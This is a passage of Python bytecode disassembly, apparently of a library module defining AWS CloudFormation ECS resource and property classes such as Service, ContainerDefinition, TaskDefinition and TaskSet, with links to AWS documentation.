LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Service' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `Service <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ecs-service.html>`__\n ' STORE_NAME __doc__ LOAD_CONST 'AWS::ECS::Service' STORE_NAME resource_type LOAD_NAME CapacityProviderStrategyItem BUILD_LIST LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME DeploymentConfiguration LOAD_CONST False BUILD_TUPLE LOAD_NAME DeploymentController LOAD_CONST False BUILD_TUPLE LOAD_NAME integer LOAD_CONST False BUILD_TUPLE LOAD_NAME boolean LOAD_CONST False BUILD_TUPLE LOAD_NAME boolean LOAD_CONST False BUILD_TUPLE LOAD_NAME integer LOAD_CONST False BUILD_TUPLE LOAD_NAME launch_type_validator LOAD_CONST False BUILD_TUPLE LOAD_NAME LoadBalancer BUILD_LIST LOAD_CONST False BUILD_TUPLE LOAD_NAME NetworkConfiguration LOAD_CONST False BUILD_TUPLE LOAD_NAME PlacementConstraint BUILD_LIST LOAD_CONST False BUILD_TUPLE LOAD_NAME PlacementStrategy BUILD_LIST LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME ServiceConnectConfiguration LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME ServiceRegistry BUILD_LIST LOAD_CONST False BUILD_TUPLE LOAD_NAME Tags LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME ServiceVolumeConfiguration BUILD_LIST LOAD_CONST False BUILD_TUPLE LOAD_CONST ('CapacityProviderStrategy', 'Cluster', 'DeploymentConfiguration', 'DeploymentController', 'DesiredCount', 'EnableECSManagedTags', 'EnableExecuteCommand', 'HealthCheckGracePeriodSeconds', 'LaunchType', 'LoadBalancers', 'NetworkConfiguration', 'PlacementConstraints', 'PlacementStrategies', 'PlatformVersion', 'PropagateTags', 'Role', 'SchedulingStrategy', 'ServiceConnectConfiguration', 'ServiceName', 'ServiceRegistries', 'Tags', 'TaskDefinition', 'VolumeConfigurations') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ContainerDependency' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `ContainerDependency <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-containerdependency.html>`__\n ' STORE_NAME __doc__ LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_CONST ('Condition', 'ContainerName') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Environment' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `Environment <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-keyvaluepair.html>`__\n ' STORE_NAME __doc__ LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_CONST ('Name', 'Value') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'EnvironmentFile' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `EnvironmentFile <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-environmentfile.html>`__\n ' STORE_NAME __doc__ LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_CONST ('Type', 'Value') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'FirelensConfiguration' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `FirelensConfiguration <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-firelensconfiguration.html>`__\n ' STORE_NAME __doc__ LOAD_NAME dict LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_CONST ('Options', 'Type') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'HealthCheck' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `HealthCheck <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-healthcheck.html>`__\n ' STORE_NAME __doc__ LOAD_NAME str BUILD_LIST LOAD_CONST False BUILD_TUPLE LOAD_NAME integer LOAD_CONST False BUILD_TUPLE LOAD_NAME integer LOAD_CONST False BUILD_TUPLE LOAD_NAME integer LOAD_CONST False BUILD_TUPLE LOAD_NAME integer LOAD_CONST False BUILD_TUPLE LOAD_CONST ('Command', 'Interval', 'Retries', 'StartPeriod', 'Timeout') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'HostEntry' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `HostEntry <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-hostentry.html>`__\n ' STORE_NAME __doc__ LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_CONST ('Hostname', 'IpAddress') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Device' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `Device <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-device.html>`__\n ' STORE_NAME __doc__ LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME str BUILD_LIST LOAD_CONST False BUILD_TUPLE LOAD_CONST ('ContainerPath', 'HostPath', 'Permissions') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'KernelCapabilities' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `KernelCapabilities <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-kernelcapabilities.html>`__\n ' STORE_NAME __doc__ LOAD_NAME str BUILD_LIST LOAD_CONST False BUILD_TUPLE LOAD_NAME str BUILD_LIST LOAD_CONST False BUILD_TUPLE LOAD_CONST ('Add', 'Drop') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Tmpfs' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `Tmpfs <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-tmpfs.html>`__\n ' STORE_NAME __doc__ LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME str BUILD_LIST LOAD_CONST False BUILD_TUPLE LOAD_NAME integer LOAD_CONST True BUILD_TUPLE LOAD_CONST ('ContainerPath', 'MountOptions', 'Size') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'LinuxParameters' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `LinuxParameters <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-linuxparameters.html>`__\n ' STORE_NAME __doc__ LOAD_NAME KernelCapabilities LOAD_CONST False BUILD_TUPLE LOAD_NAME Device BUILD_LIST LOAD_CONST False BUILD_TUPLE LOAD_NAME boolean LOAD_CONST False BUILD_TUPLE LOAD_NAME integer LOAD_CONST False BUILD_TUPLE LOAD_NAME integer LOAD_CONST False BUILD_TUPLE LOAD_NAME integer LOAD_CONST False BUILD_TUPLE LOAD_NAME Tmpfs BUILD_LIST LOAD_CONST False BUILD_TUPLE LOAD_CONST ('Capabilities', 'Devices', 'InitProcessEnabled', 'MaxSwap', 'SharedMemorySize', 'Swappiness', 'Tmpfs') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'MountPoint' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `MountPoint <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-mountpoint.html>`__\n ' STORE_NAME __doc__ LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME boolean LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_CONST ('ContainerPath', 'ReadOnly', 'SourceVolume') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'PortMapping' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `PortMapping <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-portmapping.html>`__\n ' STORE_NAME __doc__ LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME validate_network_port LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME validate_network_port LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_CONST ('AppProtocol', 'ContainerPort', 'ContainerPortRange', 'HostPort', 'Name', 'Protocol') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'RepositoryCredentials' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `RepositoryCredentials <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-repositorycredentials.html>`__\n ' STORE_NAME __doc__ LOAD_CONST 'CredentialsParameter' LOAD_NAME str LOAD_CONST False BUILD_TUPLE BUILD_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ResourceRequirement' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `ResourceRequirement <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-resourcerequirement.html>`__\n ' STORE_NAME __doc__ LOAD_NAME str LOAD_CONST True BUILD_TUPLE LOAD_NAME str LOAD_CONST True BUILD_TUPLE LOAD_CONST ('Type', 'Value') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'SystemControl' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `SystemControl <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-systemcontrol.html>`__\n ' STORE_NAME __doc__ LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_CONST ('Namespace', 'Value') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Ulimit' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `Ulimit <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-ulimit.html>`__\n ' STORE_NAME __doc__ LOAD_NAME integer LOAD_CONST True BUILD_TUPLE LOAD_NAME str LOAD_CONST True BUILD_TUPLE LOAD_NAME integer LOAD_CONST True BUILD_TUPLE LOAD_CONST ('HardLimit', 'Name', 'SoftLimit') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'VolumesFrom' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `VolumesFrom <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-volumefrom.html>`__\n ' STORE_NAME __doc__ LOAD_NAME boolean LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_CONST ('ReadOnly', 'SourceContainer') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ContainerDefinition' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `ContainerDefinition <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-containerdefinition.html>`__\n ' STORE_NAME __doc__ LOAD_NAME str BUILD_LIST LOAD_CONST False BUILD_TUPLE LOAD_NAME integer LOAD_CONST False BUILD_TUPLE LOAD_NAME ContainerDependency BUILD_LIST LOAD_CONST False BUILD_TUPLE LOAD_NAME boolean LOAD_CONST False BUILD_TUPLE LOAD_NAME str BUILD_LIST LOAD_CONST False BUILD_TUPLE LOAD_NAME str BUILD_LIST LOAD_CONST False BUILD_TUPLE LOAD_NAME dict LOAD_CONST False BUILD_TUPLE LOAD_NAME str BUILD_LIST LOAD_CONST False BUILD_TUPLE LOAD_NAME str BUILD_LIST LOAD_CONST False BUILD_TUPLE LOAD_NAME Environment BUILD_LIST LOAD_CONST False BUILD_TUPLE LOAD_NAME EnvironmentFile BUILD_LIST LOAD_CONST False BUILD_TUPLE LOAD_NAME boolean LOAD_CONST False BUILD_TUPLE LOAD_NAME HostEntry BUILD_LIST LOAD_CONST False BUILD_TUPLE LOAD_NAME FirelensConfiguration LOAD_CONST False BUILD_TUPLE LOAD_NAME HealthCheck LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST True BUILD_TUPLE LOAD_NAME boolean LOAD_CONST False BUILD_TUPLE LOAD_NAME str BUILD_LIST LOAD_CONST False BUILD_TUPLE LOAD_NAME LinuxParameters LOAD_CONST False BUILD_TUPLE LOAD_NAME LogConfiguration LOAD_CONST False BUILD_TUPLE LOAD_NAME integer LOAD_CONST False BUILD_TUPLE LOAD_NAME integer LOAD_CONST False BUILD_TUPLE LOAD_NAME MountPoint BUILD_LIST LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST True BUILD_TUPLE LOAD_NAME PortMapping BUILD_LIST LOAD_CONST False BUILD_TUPLE LOAD_NAME boolean LOAD_CONST False BUILD_TUPLE LOAD_NAME boolean LOAD_CONST False BUILD_TUPLE LOAD_NAME boolean LOAD_CONST False BUILD_TUPLE LOAD_NAME RepositoryCredentials LOAD_CONST False BUILD_TUPLE LOAD_NAME ResourceRequirement BUILD_LIST LOAD_CONST False BUILD_TUPLE LOAD_NAME Secret BUILD_LIST LOAD_CONST False BUILD_TUPLE LOAD_NAME integer LOAD_CONST False BUILD_TUPLE LOAD_NAME integer LOAD_CONST False BUILD_TUPLE LOAD_NAME SystemControl BUILD_LIST LOAD_CONST False BUILD_TUPLE LOAD_NAME Ulimit BUILD_LIST LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME VolumesFrom BUILD_LIST LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_CONST ('Command', 'Cpu', 'DependsOn', 'DisableNetworking', 'DnsSearchDomains', 'DnsServers', 'DockerLabels', 'DockerSecurityOptions', 'EntryPoint', 'Environment', 'EnvironmentFiles', 'Essential', 'ExtraHosts', 'FirelensConfiguration', 'HealthCheck', 'Hostname', 'Image', 'Interactive', 'Links', 'LinuxParameters', 'LogConfiguration', 'Memory', 'MemoryReservation', 'MountPoints', 'Name', 'PortMappings', 'Privileged', 'PseudoTerminal', 'ReadonlyRootFilesystem', 'RepositoryCredentials', 'ResourceRequirements', 'Secrets', 'StartTimeout', 'StopTimeout', 'SystemControls', 'Ulimits', 'User', 'VolumesFrom', 'WorkingDirectory') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'EphemeralStorage' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `EphemeralStorage <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-ephemeralstorage.html>`__\n ' STORE_NAME __doc__ LOAD_CONST 'SizeInGiB' LOAD_NAME validate_ephemeral_storage_size LOAD_CONST False BUILD_TUPLE BUILD_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'InferenceAccelerator' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `InferenceAccelerator <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-inferenceaccelerator.html>`__\n ' STORE_NAME __doc__ LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_CONST ('DeviceName', 'DeviceType') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ProxyConfiguration' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `ProxyConfiguration <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-proxyconfiguration.html>`__\n ' STORE_NAME __doc__ LOAD_NAME str LOAD_CONST True BUILD_TUPLE LOAD_NAME list LOAD_CONST False BUILD_TUPLE LOAD_NAME ecs_proxy_type LOAD_CONST False BUILD_TUPLE LOAD_CONST ('ContainerName', 'ProxyConfigurationProperties', 'Type') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'RuntimePlatform' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `RuntimePlatform <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-runtimeplatform.html>`__\n ' STORE_NAME __doc__ LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_CONST ('CpuArchitecture', 'OperatingSystemFamily') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST <code object validate at 0x7fab702cd0c0, file "f.py", line 773> LOAD_CONST 'RuntimePlatform.validate' MAKE_FUNCTION STORE_NAME validate LOAD_CONST None RETURN_VALUE LOAD_GLOBAL validate_runtime_platform LOAD_FAST self CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'DockerVolumeConfiguration' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `DockerVolumeConfiguration <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-dockervolumeconfiguration.html>`__\n ' STORE_NAME __doc__ LOAD_NAME boolean LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME dict LOAD_CONST False BUILD_TUPLE LOAD_NAME dict LOAD_CONST False BUILD_TUPLE LOAD_NAME scope_validator LOAD_CONST False BUILD_TUPLE LOAD_CONST ('Autoprovision', 'Driver', 'DriverOpts', 'Labels', 'Scope') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'AuthorizationConfig' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `AuthorizationConfig <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-authorizationconfig.html>`__\n ' STORE_NAME __doc__ LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_CONST ('AccessPointId', 'IAM') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'EFSVolumeConfiguration' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `EFSVolumeConfiguration <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-efsvolumeconfiguration.html>`__\n ' STORE_NAME __doc__ LOAD_NAME AuthorizationConfig LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST True BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME ecs_efs_encryption_status LOAD_CONST False BUILD_TUPLE LOAD_NAME validate_transit_encryption_port LOAD_CONST False BUILD_TUPLE LOAD_CONST ('AuthorizationConfig', 'FilesystemId', 'RootDirectory', 'TransitEncryption', 'TransitEncryptionPort') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Host' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `Host <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-hostvolumeproperties.html>`__\n ' STORE_NAME __doc__ LOAD_CONST 'SourcePath' LOAD_NAME str LOAD_CONST False BUILD_TUPLE BUILD_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Volume' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `Volume <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskdefinition-volume.html>`__\n ' STORE_NAME __doc__ LOAD_NAME boolean LOAD_CONST False BUILD_TUPLE LOAD_NAME DockerVolumeConfiguration LOAD_CONST False BUILD_TUPLE LOAD_NAME EFSVolumeConfiguration LOAD_CONST False BUILD_TUPLE LOAD_NAME Host LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_CONST ('ConfiguredAtLaunch', 'DockerVolumeConfiguration', 'EFSVolumeConfiguration', 'Host', 'Name') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'TaskDefinition' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `TaskDefinition <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ecs-taskdefinition.html>`__\n ' STORE_NAME __doc__ LOAD_CONST 'AWS::ECS::TaskDefinition' STORE_NAME resource_type LOAD_NAME ContainerDefinition BUILD_LIST LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME EphemeralStorage LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME InferenceAccelerator BUILD_LIST LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME PlacementConstraint BUILD_LIST LOAD_CONST False BUILD_TUPLE LOAD_NAME ProxyConfiguration LOAD_CONST False BUILD_TUPLE LOAD_NAME str BUILD_LIST LOAD_CONST False BUILD_TUPLE LOAD_NAME RuntimePlatform LOAD_CONST False BUILD_TUPLE LOAD_NAME Tags LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME Volume BUILD_LIST LOAD_CONST False BUILD_TUPLE LOAD_CONST ('ContainerDefinitions', 'Cpu', 'EphemeralStorage', 'ExecutionRoleArn', 'Family', 'InferenceAccelerators', 'IpcMode', 'Memory', 'NetworkMode', 'PidMode', 'PlacementConstraints', 'ProxyConfiguration', 'RequiresCompatibilities', 'RuntimePlatform', 'Tags', 'TaskRoleArn', 'Volumes') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Scale' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `Scale <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ecs-taskset-scale.html>`__\n ' STORE_NAME __doc__ LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME double LOAD_CONST False BUILD_TUPLE LOAD_CONST ('Unit', 'Value') BUILD_CONST_KEY_MAP STORE_NAME props LOAD_NAME PropsDictType LOAD_NAME __annotations__ LOAD_CONST 'props' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'TaskSet' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n `TaskSet <http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ecs-taskset.html>`__\n ' STORE_NAME __doc__ LOAD_CONST 'AWS::ECS::TaskSet' STORE_NAME resource_type LOAD_NAME str LOAD_CONST True BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME LoadBalancer BUILD_LIST LOAD_CONST False BUILD_TUPLE LOAD_NAME NetworkConfiguration LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST False BUILD_TUPLE LOAD_NAME Scale LOAD_CONST False BUILD_TUPLE LOAD_NAME str LOAD_CONST True BUILD_TUPLE LOAD_NAME ServiceRegistry BUILD_LIST LOAD_CONST False BUILD_TUPLE LOAD_NAME str 